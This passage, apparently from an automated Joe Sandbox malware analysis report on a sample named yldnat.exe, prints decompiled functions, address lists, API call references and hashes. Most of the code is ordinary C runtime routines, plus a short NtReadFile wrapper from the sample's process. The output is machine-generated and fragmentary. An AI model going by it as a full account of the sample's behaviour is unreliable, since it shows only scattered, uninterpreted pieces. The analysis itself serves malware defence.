									_t94 =  *0x13c6100;
									__eflags = _t94;
									if(_t94 != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t94 + _t142 * 4)) + 0x10)) = _t129;
									}
									goto L47;
								} else {
									__eflags = _t91;
									if(_t91 == 0) {
										goto L45;
									}
									_t98 = GetFileType(_t91);
									__eflags = _t98;
									if(_t98 == 0) {
										goto L45;
									}
									 *_t147 =  *(_t155 - 0x1c);
									_t99 = _t98 & 0x000000ff;
									__eflags = _t99 - 2;
									if(_t99 != 2) {
										__eflags = _t99 - 3;
										if(_t99 != 3) {
											L44:
											_t71 = _t147 + 0xc; // -20727868
											E013B40A2(_t71, 0xfa0, 0);
											_t156 = _t156 + 0xc;
											 *((intOrPtr*)(_t147 + 8)) =  *((intOrPtr*)(_t147 + 8)) + 1;
											L47:
											_t142 = _t142 + 1;
											continue;
										}
										_t103 =  *(_t147 + 4) | 0x00000008;
										__eflags = _t103;
										L43:
										 *(_t147 + 4) = _t103;
										goto L44;
									}
									_t103 =  *(_t147 + 4) | 0x00000040;
									goto L43;
								}
							}
							__eflags =  *_t147 - _t129;
							if( *_t147 == _t129) {
								goto L33;
							}
							 *(_t147 + 4) =  *(_t147 + 4) | 0x00000080;
							goto L47;
						}
						 *((intOrPtr*)(_t155 - 4)) = _t129;
						E013B3B53();
						_t86 = 0;
						__eflags = 0;
						L49:
						return E013B2445(_t86);
					}
					_t105 =  *(_t155 - 0x40);
					__eflags = _t105;
					if(_t105 == 0) {
						goto L27;
					}
					_t135 =  *_t105;
					 *(_t155 - 0x1c) = _t135;
					_t106 = _t105 + 4;
					 *((intOrPtr*)(_t155 - 0x28)) = _t106;
					 *(_t155 - 0x20) = _t106 + _t135;
					__eflags = _t135 - 0x800;
					if(_t135 >= 0x800) {
						_t135 = 0x800;
						 *(_t155 - 0x1c) = 0x800;
					}
					_t149 = 1;
					__eflags = 1;
					 *(_t155 - 0x30) = 1;
					while(1) {
						__eflags =  *0x13c50e4 - _t135; // 0x20
						if(__eflags >= 0) {
							break;
						}
						_t138 = E013B4869(_t141, 0x40);
						 *(_t155 - 0x24) = _t138;
						__eflags = _t138;
						if(_t138 != 0) {
							0x13c4848[_t149] = _t138;
							 *0x13c50e4 =  *0x13c50e4 + _t141;
							__eflags =  *0x13c50e4;
							while(1) {
								__eflags = _t138 - 0x800 + 0x13c4848[_t149];
								if(_t138 >= 0x800 + 0x13c4848[_t149]) {
									break;
								}
								 *((short*)(_t138 + 4)) = 0xa00;
								 *_t138 =  *_t138 | 0xffffffff;
								 *((intOrPtr*)(_t138 + 8)) = 0;
								 *(_t138 + 0x24) =  *(_t138 + 0x24) & 0x00000080;
								 *((short*)(_t138 + 0x25)) = 0xa0a;
								 *((intOrPtr*)(_t138 + 0x38)) = 0;
								 *((char*)(_t138 + 0x34)) = 0;
								_t138 = _t138 + 0x40;
								 *(_t155 - 0x24) = _t138;
							}
							_t149 = _t149 + 1;
							 *(_t155 - 0x30) = _t149;
							_t135 =  *(_t155 - 0x1c);
							continue;
						}
						_t135 =  *0x13c50e4; // 0x20
						 *(_t155 - 0x1c) = _t135;
						break;
					}
					_t143 = 0;
					 *(_t155 - 0x2c) = 0;
					_t129 = 0xfffffffe;
					_t109 =  *((intOrPtr*)(_t155 - 0x28));
					_t139 =  *(_t155 - 0x20);
					while(1) {
						__eflags = _t143 - _t135;
						if(_t143 >= _t135) {
							goto L28;
						}
						_t150 =  *_t139;
						__eflags = _t150 - 0xffffffff;
						if(_t150 == 0xffffffff) {
							L22:
							_t143 = _t143 + 1;
							 *(_t155 - 0x2c) = _t143;
							_t109 =  *((intOrPtr*)(_t155 - 0x28)) + 1;
							 *((intOrPtr*)(_t155 - 0x28)) = _t109;
							_t139 =  &(_t139[1]);
							 *(_t155 - 0x20) = _t139;
							continue;
						}
						__eflags = _t150 - _t129;
						if(_t150 == _t129) {
							goto L22;
						}
						_t111 =  *_t109;
						__eflags = _t111 & 0x00000001;
						if((_t111 & 0x00000001) == 0) {
							goto L22;
						}
						__eflags = _t111 & 0x00000008;
						if((_t111 & 0x00000008) != 0) {
							L20:
							_t154 = ((_t143 & 0x0000001f) << 6) + 0x13c4848[_t143 >> 5];
							 *(_t155 - 0x24) = _t154;
							 *_t154 =  *_t139;
							 *((char*)(_t154 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t155 - 0x28))));
							_t37 = _t154 + 0xc; // 0xd
							E013B40A2(_t37, 0xfa0, 0);
							_t156 = _t156 + 0xc;
							_t38 = _t154 + 8;
							 *_t38 =  *(_t154 + 8) + 1;
							__eflags =  *_t38;
							_t139 =  *(_t155 - 0x20);
							L21:
							_t135 =  *(_t155 - 0x1c);
							goto L22;
						}
						_t119 = GetFileType(_t150);
						_t139 =  *(_t155 - 0x20);
						__eflags = _t119;
						if(_t119 == 0) {
							goto L21;
						}
						goto L20;
					}
					goto L28;
				}
				_t86 = E013B2600(_t155, 0x13c3400, _t155 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

0x013b38a8
0x013b38aa
0x013b38af
0x013b38b6
0x013b38be
0x013b38c1
0x013b38c5
0x013b38c6
0x013b38c7
0x013b38ce
0x013b38d0
0x013b38d5
0x013b38f2
0x013b38f7
0x013b38fd
0x013b3902
0x013b3904
0x00000000
0x00000000
0x013b3906
0x013b390c
0x013b390f
0x013b3912
0x013b391b
0x013b391e
0x013b3924
0x013b3927
0x013b392a
0x013b392d
0x013b3930
0x013b3930
0x013b393b
0x013b3941
0x013b3946
0x013b3a7b
0x013b3a7d
0x013b3a7e
0x013b3a7e
0x013b3a7e
0x013b3a80
0x013b3a80
0x013b3a83
0x013b3a86
0x00000000
0x00000000
0x013b3a91
0x013b3a97
0x013b3a9a
0x013b3a9d
0x013b3ab1
0x013b3ab1
0x013b3ab5
0x013b3ab7
0x013b3abe
0x013b3ac3
0x013b3ac5
0x013b3ac5
0x013b3ab9
0x013b3abb
0x013b3abb
0x013b3ac9
0x013b3acf
0x013b3ad2
0x013b3ad5
0x013b3b23
0x013b3b29
0x013b3b2c
0x013b3b2e
0x013b3b33
0x013b3b35
0x013b3b3a
0x013b3b3a
0x00000000
0x013b3ad7
0x013b3ad7
0x013b3ad9
0x00000000
0x00000000
0x013b3adc
0x013b3ae2
0x013b3ae4
0x00000000
0x00000000
0x013b3ae9
0x013b3aeb
0x013b3af0
0x013b3af3
0x013b3afd
0x013b3b00
0x013b3b0b
0x013b3b12
0x013b3b16
0x013b3b1b
0x013b3b1e
0x013b3b3d
0x013b3b3d
0x00000000
0x013b3b3d
0x013b3b06
0x013b3b06
0x013b3b08
0x013b3b08
0x00000000
0x013b3b08
0x013b3af9
0x00000000
0x013b3af9
0x013b3ad5
0x013b3a9f
0x013b3aa1
0x00000000
0x00000000
0x013b3aa9
0x00000000
0x013b3aa9
0x013b3b43
0x013b3b46
0x013b3b4b
0x013b3b4b
0x013b3b4d
0x013b3b52
0x013b3b52
0x013b394c
0x013b394f
0x013b3951
0x00000000
0x00000000
0x013b3957
0x013b3959
0x013b395c
0x013b395f
0x013b3964
0x013b396c
0x013b396e
0x013b3970
0x013b3972
0x013b3972
0x013b3977
0x013b3977
0x013b3978
0x013b397b
0x013b397b
0x013b3981
0x00000000
0x00000000
0x013b398d
0x013b398f
0x013b3992
0x013b3994
0x013b3a2e
0x013b3a35
0x013b3a35
0x013b3a3b
0x013b3a47
0x013b3a49
0x00000000
0x00000000
0x013b3a4b
0x013b3a51
0x013b3a54
0x013b3a57
0x013b3a5b
0x013b3a61
0x013b3a64
0x013b3a67
0x013b3a6a
0x013b3a6a
0x013b3a6f
0x013b3a70
0x013b3a73
0x00000000
0x013b3a73
0x013b399a
0x013b39a0
0x00000000
0x013b39a0
0x013b39a3
0x013b39a5
0x013b39aa
0x013b39ab
0x013b39ae
0x013b39b1
0x013b39b1
0x013b39b3
0x00000000
0x00000000
0x013b39b9
0x013b39bb
0x013b39be
0x013b3a1b
0x013b3a1b
0x013b3a1c
0x013b3a22
0x013b3a23
0x013b3a26
0x013b3a29
0x00000000
0x013b3a29
0x013b39c0
0x013b39c2
0x00000000
0x00000000
0x013b39c4
0x013b39c6
0x013b39c8
0x00000000
0x00000000
0x013b39ca
0x013b39cc
0x013b39dc
0x013b39e9
0x013b39f0
0x013b39f5
0x013b39fc
0x013b3a06
0x013b3a0a
0x013b3a0f
0x013b3a12
0x013b3a12
0x013b3a12
0x013b3a15
0x013b3a18
0x013b3a18
0x00000000
0x013b3a18
0x013b39cf
0x013b39d5
0x013b39d8
0x013b39da
0x00000000
0x00000000
0x00000000
0x013b39da
0x00000000
0x013b39b1
0x013b38ea
0x00000000

APIs

__lock.LIBCMT ref: 013B38B6

Part of subcall function 013B442F: __mtinitlocknum.LIBCMT ref: 013B4441
Part of subcall function 013B442F: EnterCriticalSection.KERNEL32(00000000,?,013B37AB,0000000D), ref: 013B445A

__calloc_crt.LIBCMT ref: 013B38C7

Part of subcall function 013B4869: __calloc_impl.LIBCMT ref: 013B4878

@_EH4_CallFilterFunc@8.LIBCMT ref: 013B38E2
GetStartupInfoW.KERNEL32(?,013C2260,00000064,013B1654,013C2190,00000014), ref: 013B393B
__calloc_crt.LIBCMT ref: 013B3986
GetFileType.KERNEL32 ref: 013B39CF

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: __calloc_crt$CallCriticalEnterFileFilterFunc@8InfoSectionStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 2772871689-0
Opcode ID: da754f77a62c1b6ce1f50bf49b53589930d17e64e9fb6347d91e4e545bfb3738
Instruction ID: 463fd28c463a446911fc3b38428eb700c8d6f8cb2cb158ca4cb62a813851a8ee
Opcode Fuzzy Hash: da754f77a62c1b6ce1f50bf49b53589930d17e64e9fb6347d91e4e545bfb3738
Instruction Fuzzy Hash: 2881A371D042658EDB24CF68D8C06E9BFF4BF05328B24426DD6A6ABBC1E7359402CB54

Uniqueness

Uniqueness Score: -1.00%

Function 013B3815 Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E013B3815(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E013B1890(_t3);
				if(E013B4560() != 0) {
					_t6 = E013B4001(E013B35A6);
					 *0x13c350c = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E013B4869(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E013B388B();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E013B405D( *0x13c350c, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E013B3762(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E013B388B();
					return 0;
				}
			}

0x013b3815
0x013b3821
0x013b3830
0x013b3835
0x013b383b
0x013b383e
0x00000000
0x013b3840
0x013b384d
0x013b3851
0x013b3853
0x013b3882
0x013b3882
0x013b3887
0x013b388a
0x013b3855
0x013b3863
0x013b3865
0x00000000
0x013b3867
0x013b3867
0x013b3869
0x013b386a
0x013b3871
0x013b3877
0x013b387b
0x013b387f
0x013b3881
0x013b3881
0x013b3865
0x013b3853
0x013b3823
0x013b3823
0x013b3823
0x013b382a
0x013b382a

APIs

__init_pointers.LIBCMT ref: 013B3815

Part of subcall function 013B1890: RtlEncodePointer.NTDLL(00000000,?,013B381A,013B163A,013C2190,00000014), ref: 013B1893
Part of subcall function 013B1890: __initp_misc_winsig.LIBCMT ref: 013B18AE
Part of subcall function 013B1890: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 013B4117
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 013B412B
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 013B413E
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 013B4151
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 013B4164
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 013B4177
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 013B418A
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 013B419D
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 013B41B0
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 013B41C3
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 013B41D6
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 013B41E9
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 013B41FC
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 013B420F
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 013B4222
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 013B4235

__mtinitlocks.LIBCMT ref: 013B381A
__mtterm.LIBCMT ref: 013B3823

Part of subcall function 013B388B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,013B3828,013B163A,013C2190,00000014), ref: 013B447A
Part of subcall function 013B388B: _free.LIBCMT ref: 013B4481
Part of subcall function 013B388B: DeleteCriticalSection.KERNEL32(013C3558,?,?,013B3828,013B163A,013C2190,00000014), ref: 013B44A3

__calloc_crt.LIBCMT ref: 013B3848
__initptd.LIBCMT ref: 013B386A
GetCurrentThreadId.KERNEL32(013B163A,013C2190,00000014), ref: 013B3871

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: a3341522df69caadc8c04ee5c7168d8094e6b8cd2ca5b32baa230ad00c5bf104
Instruction ID: 4ff6e06c271ae31320a9a8c990d9df11fcff4c1183c2e4631f0cd89de2c6d58c
Opcode Fuzzy Hash: a3341522df69caadc8c04ee5c7168d8094e6b8cd2ca5b32baa230ad00c5bf104
Instruction Fuzzy Hash: 89F09032509632ADE239767D7CC16DA2E84EF1177CF20862EE761D8CD1FF2294414795

Uniqueness

Uniqueness Score: -1.00%

Function 013B7452 Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E013B7452(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0x13c4834, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0x13c4830 == _t7) {
									_t9 = E013B1CC3();
									 *_t9 = E013B1CD6(GetLastError());
									goto L17;
								} else {
									if(E013B1741(_t7, _t31) == 0) {
										_t12 = E013B1CC3();
										 *_t12 = E013B1CD6(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E013B1741(_t6, _t31);
						 *((intOrPtr*)(E013B1CC3())) = 0xc;
						goto L12;
					} else {
						E013B4831(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E013B1147(__ebx, __edx, __edi, _a8);
				}
			}

0x013b7459
0x013b7467
0x013b746c
0x013b747b
0x013b74ae
0x013b7480
0x013b7482
0x013b7482
0x013b748f
0x013b7495
0x013b7499
0x013b74f9
0x013b74f9
0x013b749b
0x013b74a1
0x013b74e3
0x013b74f7
0x00000000
0x013b74a3
0x013b74ac
0x013b74cb
0x013b74df
0x013b74c5
0x013b74c5
0x00000000
0x00000000
0x00000000
0x013b74ac
0x013b74a1
0x00000000
0x013b74c7
0x013b74b4
0x013b74bf
0x00000000
0x013b746e
0x013b7471
0x013b7477
0x013b7477
0x013b74c8
0x013b74ca
0x013b745b
0x013b7465
0x013b7465

APIs

_malloc.LIBCMT ref: 013B745E

Part of subcall function 013B1147: __FF_MSGBANNER.LIBCMT ref: 013B115E
Part of subcall function 013B1147: __NMSG_WRITE.LIBCMT ref: 013B1165
Part of subcall function 013B1147: RtlAllocateHeap.NTDLL(00800000,00000000,00000001,00000000,00000000,00000000,?,013B48C7,00000000,00000000,00000000,00000000,?,013B44F9,00000018,013C2280), ref: 013B118A

_free.LIBCMT ref: 013B7471

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d656b58623f40118e1b26a5e5085a7896989b0954aeb260ebf081a9e9bc256f3
Instruction ID: 859dcdae0e9d528b2c7f2f5ac264ad57fc5d2a7282168220c136b21e0d057271
Opcode Fuzzy Hash: d656b58623f40118e1b26a5e5085a7896989b0954aeb260ebf081a9e9bc256f3
Instruction Fuzzy Hash: C2119431805616AACB313E7CB8D46D93F98EB50369F104525EB49AAEC0FA788940C790

Uniqueness

Uniqueness Score: -1.00%

Function 013B91C6 Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013B91C6(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _t35;
				int _t38;
				signed int _t41;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E013B4BFC( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E013B917B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t41 = _v20;
							_t59 = 1;
							_t28 = _t41 + 4; // 0x840ffff8
							_t42 = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E013B1CC3();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0xe1c11fe1
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0xe1c11fe1
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0xe1c11fe1
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0xe1c11fe1
						_t18 = _t59 + 4; // 0x840ffff8
						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x013b91ce
0x013b91d3
0x013b91ed
0x00000000
0x013b91ed
0x013b91d5
0x013b91da
0x00000000
0x00000000
0x013b91df
0x013b91fc
0x013b9201
0x013b9204
0x013b920b
0x013b922a
0x013b9231
0x013b9233
0x013b9277
0x013b9283
0x013b9286
0x013b928b
0x013b928e
0x013b9294
0x013b9296
0x013b92a6
0x013b92a6
0x013b92aa
0x013b92ac
0x013b92af
0x013b92af
0x013b92af
0x013b92af
0x00000000
0x013b92b5
0x013b9298
0x013b9298
0x013b929d
0x013b929d
0x013b92a0
0x00000000
0x013b92a0
0x013b9235
0x013b9238
0x013b923c
0x013b9265
0x013b9265
0x013b9265
0x013b9268
0x013b9268
0x00000000
0x00000000
0x013b926a
0x013b926e
0x00000000
0x00000000
0x013b9270
0x013b9270
0x013b9270
0x00000000
0x013b9270
0x013b923e
0x013b923e
0x013b9241
0x00000000
0x00000000
0x013b9245
0x013b924f
0x013b9255
0x013b9258
0x013b925e
0x013b9261
0x013b9263
0x00000000
0x00000000
0x00000000
0x013b9263
0x013b920d
0x013b9210
0x013b9212
0x013b9217
0x013b9217
0x013b921c
0x00000000
0x013b921c
0x013b91e1
0x013b91e6
0x013b91ea
0x013b91ea
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 013B91FC
__isleadbyte_l.LIBCMT ref: 013B922A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000), ref: 013B9258
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000), ref: 013B928E

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 179524b547c1659d597cb0f7ecacbe480c9fc492c6471cc5f858324418a6fecd
Instruction ID: d86a7a1f11582a673608fc84ac8bb432bb18804f92e15a5ae5a2cb95dde52d73
Opcode Fuzzy Hash: 179524b547c1659d597cb0f7ecacbe480c9fc492c6471cc5f858324418a6fecd
Instruction Fuzzy Hash: 9C31C271A0024EAFEB218E69CC84BEA7FA9BF4131CF154128E7158B990F731D850DB90

Uniqueness

Uniqueness Score: -1.00%

Function 013BA94D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013BA94D(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E013BAE9E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E013BA9D3(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E013BB119(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E013BB058(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x013ba950
0x013ba956
0x013ba9c9
0x00000000
0x013ba95d
0x013ba95d
0x013ba960
0x013ba97b
0x013ba97e
0x013ba99e
0x013ba9b0
0x013ba980
0x013ba980
0x013ba983
0x00000000
0x013ba985
0x013ba997
0x013ba997
0x013ba983
0x013ba9ce
0x013ba9d2
0x013ba962
0x013ba97a
0x013ba97a
0x013ba960

APIs

__cftof_l.LIBCMT ref: 013BA971

Part of subcall function 013BB058: __fltout2.LIBCMT ref: 013BB081

__cftog_l.LIBCMT ref: 013BA997
__cftoe_l.LIBCMT ref: 013BA9C9

Memory Dump Source

Source File: 00000005.00000002.983533144.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.983529361.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983553202.00000000013C3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.983563219.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_yldnat.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: d722a6699da6baaa2af529011bcd170f5a409b5f950ebcbb33fffb9adf9c83e0
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 72014C7604464EFBCF125F88CC818EE3F66BB19258B4A8515FF195A830E736C5B1BB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: yldnat.exePID: 2452, Parent PID: 1148COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	3.5%
Signature Coverage:	5.7%
Total number of Nodes:	634
Total number of Limit Nodes:	3

Executed Functions

Function 0041A380 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0041A380(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t13 = _a4;
				_t27 = _a4 + 0xc64;
				E0041AF20( *((intOrPtr*)(_t13 + 0x14)), _t13, _t27,  *((intOrPtr*)(_t13 + 0x14)), 0, 0x2a);
				_t4 =  &_a40; // 0x415621
				_t6 =  &_a32; // 0x415962
				_t12 =  &_a8; // 0x415962
				_t18 =  *((intOrPtr*)( *_t27))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36,  *_t4); // executed
				return _t18;
			}

0x0041a383
0x0041a38f
0x0041a397
0x0041a39c
0x0041a3a2
0x0041a3bd
0x0041a3c5
0x0041a3c9

APIs

NtReadFile.NTDLL(bYA,5DB515AF,FFFFFFFF,?,?,?,bYA,?,!VA,FFFFFFFF,5DB515AF,00415962,?,00000000), ref: 0041A3C5

Strings

bYA, xrefs: 0041A3A2, 0041A3B0
bYA, xrefs: 0041A3BD, 0041A3C4
!VA, xrefs: 0041A39C, 0041A3A8

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

